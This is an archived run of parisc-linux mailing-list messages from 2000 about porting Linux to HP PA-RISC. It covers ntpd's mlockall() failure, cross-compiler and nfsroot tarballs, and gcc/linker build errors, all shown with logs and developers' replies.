X-Trace: ger.gmane.org 1416619168 4308 80.91.229.3 (22 Nov 2014 01:19:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:28 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bdale@gag.com  Mon Oct  9 20:56:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA21276
	for <parisc-linux@puffin.external.hp.com>; Mon, 9 Oct 2000 20:56:04 -0600
Original-Received: (qmail 10264 invoked by uid 15267); 10 Oct 2000 02:57:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10253 invoked from network); 10 Oct 2000 02:57:11 -0000
Original-Received: from rover.gag.com (postfix@192.133.104.32)
  by mailserv2.iuinc.com with SMTP; 10 Oct 2000 02:57:11 -0000
Original-Received: from gag.com (localhost [127.0.0.1])
	by rover.gag.com (Postfix) with ESMTP id 26519359E7
	for <parisc-linux@thepuffingroup.com>; Mon,  9 Oct 2000 20:57:00 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8074

I built a package of ntp, and it installed ok, but when ntpd goes to launch,
I get the following in daemon.log:

Oct  9 20:51:27 j5k ntpd[19416]: ntpd 4.0.99g Mon Oct  9 20:44:40 MDT 2000 (1)
Oct  9 20:51:27 j5k ntpd[19416]: mlockall(): Cannot allocate memory

And in dmesg output, I see:

do_page_fault() pid=19416 command='ntpd'

PSW  : 0004000a  GR 1 : 40053cf0  GR 2 : 40052777  GR 3 : 40054c44  
GR 4 : 400544f0  GR 5 : 4005ec4c  GR 6 : 4005ec4c  GR 7 : 00000000  
GR 8 : ffffffff  GR 9 : 00059cf0  GR10 : 2001fd24  GR11 : 0005c140  
GR12 : 0003a800  GR13 : 0003a800  GR14 : 0005c140  GR15 : 0005c140  
GR16 : 0005c140  GR17 : 00000001  GR18 : 0005c140  GR19 : 40197148  
GR20 : 00000000  GR21 : 00000000  GR22 : 00001fe9  GR23 : 00000004  
GR24 : 000001b0  GR25 : 0005d020  GR26 : 4005ec88  GR27 : 00045140  
GR28 : 00000000  GR29 : 0005f1b8  GR30 : 200203c0  GR31 : 40083f13  
SR0  : 00000000  SR1  : 0000200b  SR2  : 00000000  SR3  : 0000200b  
SR4  : 0000200b  SR5  : 0000200b  SR6  : 0000200b  SR7  : 0000200b  

IASQ : 0000200b 0000200b IAOQ : 4005277f 40052783 ORIG_R28 : 00000000
 IIR : 0eb41288 ISR : 0000200b IOR : 00000004

sending SIGSEGV


Anyone know what's going on?

Bdale


From - Thu Nov 08 21:13:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New nfsroots and xc
Date: Mon, 09 Oct 2000 21:43:45 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20001010034345.6607638131@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619168 4310 80.91.229.3 (22 Nov 2014 01:19:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:28 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Mon Oct  9 21:40:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA23437
	for <parisc-linux@puffin.external.hp.com>; Mon, 9 Oct 2000 21:40:50 -0600
Original-Received: (qmail 14135 invoked by uid 15267); 10 Oct 2000 03:41:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14127 invoked from network); 10 Oct 2000 03:41:57 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 10 Oct 2000 03:41:57 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel2.hp.com (Postfix) with ESMTP id 05F8AEE
	for <parisc-linux@thepuffingroup.com>; Mon,  9 Oct 2000 21:41:38 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 6607638131
	for <parisc-linux@thepuffingroup.com>; Mon,  9 Oct 2000 21:43:45 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
Xref: news.gmane.org gmane.linux.ports.parisc:8075

I have created 2 new palinux nfsroots. The first is just the Debian base 
packages that we have(~15MB).

ftp://puffin.external.hp.com/pub/parisc/binaries/nfsroot/base-20001009.tar.gz

The second is the above plus everything else we have(~38MB).

ftp://puffin.external.hp.com/pub/parisc/binaries/nfsroot/nfsroot-20001009.tar.g
z

I have also put a new i386-linux -> hppa-linux cross compiler tarball at,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20001009.tar.gz


-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fuzzy math (df output)
Date: 09 Oct 2000 23:56:54 -0400
Organization: Linuxcare, Inc.
Lines: 13
Approved: news@gmane.org
Message-ID: <873di5fiwp.fsf@linuxcare.com>
References: <200010092355.QAA04061@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619168 4313 80.91.229.3 (22 Nov 2014 01:19:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: dhd@linuxcare.com  Mon Oct  9 22:10:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA24957
	for <parisc-linux@puffin.external.hp.com>; Mon, 9 Oct 2000 22:10:56 -0600
Original-Received: (qmail 3615 invoked by uid 15267); 10 Oct 2000 04:12:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3600 invoked from network); 10 Oct 2000 04:12:02 -0000
Original-Received: from port-43.ottawa4.achilles.net (HELO tarwebok) (209.151.2.142)
  by mailserv2.iuinc.com with SMTP; 10 Oct 2000 04:12:02 -0000
Original-Received: from dhd by tarwebok with local (Exim 3.16 #1 (Debian))
	id 13iqX9-0001ud-00; Mon, 09 Oct 2000 23:56:55 -0400
In-Reply-To: Grant Grundler's message of "Mon, 9 Oct 2000 16:55:34 -0700 (PDT)"
Original-Lines: 12
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:8076

Grant Grundler <grundler@cup.hp.com> writes:

> Seems like the Use% numbers came from a presidential debate. :^)
> If someone is looking for something to do...

Your df is probably built with the old broken compiler that didn't
handle floating point variadic arguments correctly.  I suggest
upgrading it (it's in fileutils).

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Unable to compil gcc2.96 on L2000/11.00/64 bits
Date: Tue, 10 Oct 2000 10:06:46 +0200
Organization: H.P
Lines: 35
Approved: news@gmane.org
Message-ID: <39E2CE16.E7D9A84F@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619169 4315 80.91.229.3 (22 Nov 2014 01:19:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:29 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: bruno_vidal@hpfrcu03.france.hp.com  Tue Oct 10 02:10:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA10739
	for <parisc-linux@puffin.external.hp.com>; Tue, 10 Oct 2000 02:10:10 -0600
Original-Received: (qmail 8870 invoked by uid 15267); 10 Oct 2000 08:11:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8856 invoked from network); 10 Oct 2000 08:11:17 -0000
Original-Received: from bbnrel4.net.external.hp.com (155.208.254.68)
  by mailserv2.iuinc.com with SMTP; 10 Oct 2000 08:11:17 -0000
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 46C6D1B571
	for <parisc-linux@thepuffingroup.com>; Tue, 10 Oct 2000 10:11:15 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id KAA21609 for <parisc-linux@thepuffingroup.com>; Tue, 10 Oct 2000 10:10:23 +0200 (METDST)
Original-Sender: vidal@hpfrcu03.france.hp.com
X-Mailer: Mozilla 4.74 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:8077

	Hi
I'm unable to compile gcc2.96 cross compiler with latest bits.
(binutils is okay, it compile right)
I've configure it with:
../gcc/configure --target=hppa1.1-linux --prefix=$DEST --disable-nls --without-libc
(with DEST=/opt/linux_hppa)
-> it looks okay:
checking host system type... hppa2.0w-hp-hpux11.00
.
.
.
creating ./config.status
creating Makefile

# echo $?
0

So I start to compil, and after a few momment:
make[2]: Entering directory `/opt/linux_hppa/src/gcc_build/hppa1.1-linux/libiberty'
make[2]: *** No targets specified and no makefile found.  Stop.
make[2]: Leaving directory `/opt/linux_hppa/src/gcc_build/hppa1.1-linux/libiberty'
make[1]: *** [../libiberty/libiberty.a] Error 2
make[1]: Leaving directory `/opt/linux_hppa/src/gcc_build/hppa1.1-linux/libstdc++'
make: *** [all-target-libstdc++] Error 2                                  

-> no makefile for hppa1.1-linux/libiberty.
Do you have any idea to correct that ?

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com


From - Thu Nov 08 21:13:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: A Joseph Koshy <koshy@postbox.india.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVSup in addition to AnonCVS
Date: Tue, 06 Apr 1999 10:43:36 +0530
Lines: 18
Approved: news@gmane.org
Message-ID: <199904060513.KAA02336@postbox.india.hp.com>
References: <19990405094704.A29056@cmu.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619169 4319 80.91.229.3 (22 Nov 2014 01:19:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: koshy@postbox.india.hp.com  Tue Apr  6 01:11:38 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id BAA14034
	for <parisc-linux@sod.res.cmu.edu>; Tue, 6 Apr 1999 01:11:32 -0400
Original-Received: (qmail 9419 invoked by uid 15267); 6 Apr 1999 05:11:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9412 invoked from network); 6 Apr 1999 05:11:02 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 6 Apr 1999 05:11:02 -0000
Original-Received: from postbox.india.hp.com (postbox.india.hp.com [15.10.45.1])
	by palrel3.hp.com (8.9.3/8.8.5tis) with ESMTP id WAA09689
	for <parisc-linux@thepuffingroup.com>; Mon, 5 Apr 1999 22:11:13 -0700 (PDT)
Original-Received: from localhost (localhost [127.0.0.1]) by postbox.india.hp.com with SMTP (8.7.1/8.7.1) id KAA02336 for <parisc-linux@thepuffingroup.com>; Tue, 6 Apr 1999 10:43:38 +0530 (IST)
X-Authentication-Warning: postbox.india.hp.com: Host localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 05 Apr 1999 09:47:04 IST."
             <19990405094704.A29056@cmu.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8078


Could we use CVSup to distribute the projects CVS repository?  

	- It runs a lot faster than AnonCVS.
	- As it mirrors the repository locally, subsequent operations 
	  (cvs log, cvs diff) don't need to access the 'net.
	- You can have 'local' branches in your copy of the repository.
	- It works perfectly with the existing CVS infrastructure.

URL: http://www.polstra.com/projects/freeware/CVSup/

See also:	http://www.kde.org/cvsup.html
		http://www.freebsd.org/handbook/cvsup.html

Regards,
Koshy
<koshy@india.hp.com>			My Personal Opinions Only.


From - Thu Nov 08 21:13:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unable to compil gcc2.96 on L2000/11.00/64 bits
Date: Tue, 10 Oct 2000 20:24:52 +1100 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010102014070.20550-100000@front.linuxcare.com.au>
References: <39E2CE16.E7D9A84F@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619169 4323 80.91.229.3 (22 Nov 2014 01:19:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: alan@linuxcare.com.au  Tue Oct 10 03:28:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA13968
	for <parisc-linux@puffin.external.hp.com>; Tue, 10 Oct 2000 03:28:05 -0600
Original-Received: (qmail 30168 invoked by uid 15267); 10 Oct 2000 09:28:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30153 invoked from network); 10 Oct 2000 09:28:55 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 10 Oct 2000 09:28:55 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA31505;
	Tue, 10 Oct 2000 20:24:52 +1100
In-Reply-To: <39E2CE16.E7D9A84F@admin.france.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8079

On Tue, 10 Oct 2000, Bruno Vidal wrote:

> -> no makefile for hppa1.1-linux/libiberty.
> Do you have any idea to correct that ?

libiberty/config.log should tell you what went wrong.  It's likely that
you need to install binutils (perhaps glibc too) and set up paths.

>From memory, the steps I followed were:
  build & install binutils
  build & install gcc using "make LANGUAGES=c; make LANGUAGES=c install"
  build & install glibc
  rebuild gcc

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New nfsroots and xc
Date: Tue, 10 Oct 2000 11:39:58 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20001010113957.E9399@linuxcare.com>
References: <20001010034345.6607638131@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619170 4329 80.91.229.3 (22 Nov 2014 01:19:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: rhirst@linuxcare.com  Tue Oct 10 04:41:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA18991
	for <parisc-linux@puffin.external.hp.com>; Tue, 10 Oct 2000 04:41:25 -0600
Original-Received: (qmail 18674 invoked by uid 15267); 10 Oct 2000 10:42:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18663 invoked from network); 10 Oct 2000 10:42:30 -0000
Original-Received: from user48-37.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.48.37)
  by mailserv2.iuinc.com with SMTP; 10 Oct 2000 10:42:30 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2BDA9B005; Tue, 10 Oct 2000 11:39:58 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001010034345.6607638131@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Mon, Oct 09, 2000 at 09:43:45PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:8080

On Mon, Oct 09, 2000 at 09:43:45PM -0600, Matt Taggart wrote:
> I have created 2 new palinux nfsroots. The first is just the Debian base 
> packages that we have(~15MB).
> 
> ftp://puffin.external.hp.com/pub/parisc/binaries/nfsroot/base-20001009.tar.gz
> 
> The second is the above plus everything else we have(~38MB).
> 
> ftp://puffin.external.hp.com/pub/parisc/binaries/nfsroot/nfsroot-20001009.tar.g
> z

Slightly broken:

10:~# make mlock 
cc     mlock.c   -o mlock
/usr/bin/ld: cannot open crt1.o: No such file or directory
collect2: ld returned 1 exit status
make: *** [mlock] Error 1


Dirty fix was to copy /usr/lib/crt[1in].o current directory.


10:~# gcc -v -Wall -L/usr/lib -o mlock mlock.c 
Reading specs from /usr/lib/gcc-lib/hppa-linux/2.96/specs
gcc version 2.96 20000925 (experimental)
 /usr/lib/gcc-lib/hppa-linux/2.96/cpp0 -lang-c -v -D__GNUC__=2 -D__GNUC_MINOR__=96 -D__GNUC_PATCHLEVEL__=0 -D__ELF__ -Dunix -D__hppa__ -Dlinux -D__ELF__ -D__unix__ -D__hppa__ -D__linux__ -D__unix -D__linux -Asystem(unix) -Asystem(posix) -Acpu(hppa) -Amachine(hppa) -Amachine(bigendian) -D__STDC _HOSTED__=1 -Wall -D__hp9000s700 -D_PA_RISC1_1 mlock.c /tmp/ccTCLP7c.i
GNU CPP version 2.96 20000925 (experimental) (cpplib)
 (hppa)
ignoring duplicate directory "/usr/include"
#include "..." search starts here:
#include <...> search starts here:
 /usr/include
 /usr/lib/gcc-lib/hppa-linux/2.96/include
 /usr/hppa-linux/include
End of search list.
 /usr/lib/gcc-lib/hppa-linux/2.96/cc1 /tmp/ccTCLP7c.i -quiet -dumpbase mlock.c -Wall -version -o /tmp/ccDv8UPn.s
GNU C version 2.96 20000925 (experimental) (hppa-linux) compiled by GNU C version 2.96 20000925 (experimental).
mlock.c:5: warning: return type defaults to `int'
 as -V -o /tmp/ccxVNaG8.o /tmp/ccDv8UPn.s
GNU assembler version 2.10.91 (hppa-linux) using BFD version 2.10.91
 /usr/lib/gcc-lib/hppa-linux/2.96/collect2 -dynamic-linker /lib/ld.so.1 -o mlock crt1.o crti.o /usr/lib/gcc-lib/hppa-linux/2.96/crtbegin.o -L/usr/lib -L/usr/lib/gcc-lib/hppa-linux/2.96 /tmp/ccxVNaG8.o -lgcc -lc -lgcc /usr/lib/gcc-lib/hppa-linux/2.96/crtend.o crtn.o
/usr/bin/ld: cannot open crt1.o: No such file or directory
collect2: ld returned 1 exit status
10:~# ls -l /usr/lib/crt1.o
-rw-r--r--    1 root     root         1228 Oct  6 12:05 /usr/lib/crt1.o

Richard


From - Thu Nov 08 21:13:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ntpd fails on mlockall()
Date: Tue, 10 Oct 2000 12:08:41 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20001010120841.F9399@linuxcare.com>
References: <20001010025700.26519359E7@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619170 4338 80.91.229.3 (22 Nov 2014 01:19:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Bdale Garbee <bdale@gag.com>
Original-X-From: rhirst@linuxcare.com  Tue Oct 10 05:10:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id FAA20503
	for <parisc-linux@puffin.external.hp.com>; Tue, 10 Oct 2000 05:10:31 -0600
Original-Received: (qmail 6674 invoked by uid 15267); 10 Oct 2000 11:11:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6631 invoked from network); 10 Oct 2000 11:11:30 -0000
Original-Received: from user48-186.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.48.186)
  by mailserv2.iuinc.com with SMTP; 10 Oct 2000 11:11:30 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 5DD34B005; Tue, 10 Oct 2000 12:08:41 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20001010025700.26519359E7@rover.gag.com>; from bdale@gag.com on Mon, Oct 09, 2000 at 08:57:00PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:8081

On Mon, Oct 09, 2000 at 08:57:00PM -0600, Bdale Garbee wrote:
> I built a package of ntp, and it installed ok, but when ntpd goes to launch,
> I get the following in daemon.log:
> 
> Oct  9 20:51:27 j5k ntpd[19416]: ntpd 4.0.99g Mon Oct  9 20:44:40 MDT 2000 (1)
> Oct  9 20:51:27 j5k ntpd[19416]: mlockall(): Cannot allocate memory

A simple prog that just calls mlockall() fails as well.  It is because
we currently allocate a massive stack (256MB?) for every process, and
mlockall() tries to actually claim the memory for that stack.  I tried
allocating just a 1MB stack in fs/exec.c, and my simple mlockall()
prog then worked.

Richard


From - Thu Nov 08 21:13:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Unable to compil linux kernel
Date: Tue, 10 Oct 2000 17:42:29 +0200
Organization: H.P
Lines: 38
Approved: news@gmane.org
Message-ID: <39E338E5.4ED45E2B@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619170 4341 80.91.229.3 (22 Nov 2014 01:19:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:30 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>
Original-X-From: bruno_vidal@hpfrcu03.france.hp.com  Tue Oct 10 09:45:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA30346
	for <parisc-linux@puffin.external.hp.com>; Tue, 10 Oct 2000 09:45:52 -0600
Original-Received: (qmail 12321 invoked by uid 15267); 10 Oct 2000 15:46:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12311 invoked from network); 10 Oct 2000 15:46:59 -0000
Original-Received: from bbnrel4.net.external.hp.com (155.208.254.68)
  by mailserv2.iuinc.com with SMTP; 10 Oct 2000 15:46:59 -0000
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id AEB9C1B90E
	for <parisc-linux@thepuffingroup.com>; Tue, 10 Oct 2000 17:46:57 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id RAA25234 for <parisc-linux@thepuffingroup.com>; Tue, 10 Oct 2000 17:46:05 +0200 (METDST)
Original-Sender: vidal@hpfrcu03.france.hp.com
X-Mailer: Mozilla 4.74 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:8082

	Hi
I succeded to recompile all tools needed for compiling linux kernel.
(the problem was only that I was using the wrong target type).
But I've have a strange problem while compiling (I perhaps made a mistake somewhere):
#pwd
/opt/linux_hppa/src/linux/drivers/char

#type gcc
gcc is hashed (/opt/linux_hppa/hppa-linux/bin/gcc)
 
#file /opt/linux_hppa/hppa-linux/bin/gcc
/opt/linux_hppa/hppa-linux/bin/gcc:     PA-RISC1.1 shared executable dynamically linked -not stripped 

#gcc --version
2.96

while the "make palo":
#gcc -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -o conmakehash conmakehash.c
/opt/linux_hppa/lib/gcc-lib/hppa-linux/2.96/../../../../hppa-linux/bin/ld: cannot find -lc
collect2: ld returned 1 exit status
-> that the problem, where this "-lc" comes from ???

#/opt/linux_hppa/lib/gcc-lib/hppa-linux/2.96/../../../../hppa-linux/bin/ld --version
GNU ld 2.10.91
Copyright 2000 Free Software Foundation, Inc.
This program is free software; you may redistribute it under the terms of
the GNU General Public License.  This program has absolutely no warranty.
  Supported emulations:
   hppalinux

	Thanks 


-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com


From - Thu Nov 08 21:13:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Unable to compil gcc2.96 on L2000/11.00/64 bits
Date: Tue, 10 Oct 2000 09:00:14 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <200010101600.JAA04506@milano.cup.hp.com>
References: <Pine.LNX.4.21.0010102014070.20550-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619171 4343 80.91.229.3 (22 Nov 2014 01:19:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:19:31 +0000 (UTC)
Cc: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>,
        parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: grundler@cup.hp.com  Tue Oct 10 09:54:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA31270
	for <parisc-linux@puffin.external.hp.com>; Tue, 10 Oct 2000 09:54:55 -0600
Original-Received: (qmail 25194 invoked by uid 15267); 10 Oct 2000 15:56:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25187 invoked from network); 10 Oct 2000 15:56:02 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 10 Oct 2000 15:56:02 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id E9B482C1; Tue, 10 Oct 2000 08:56:00 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA04506;
	Tue, 10 Oct 2000 09:00:15 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
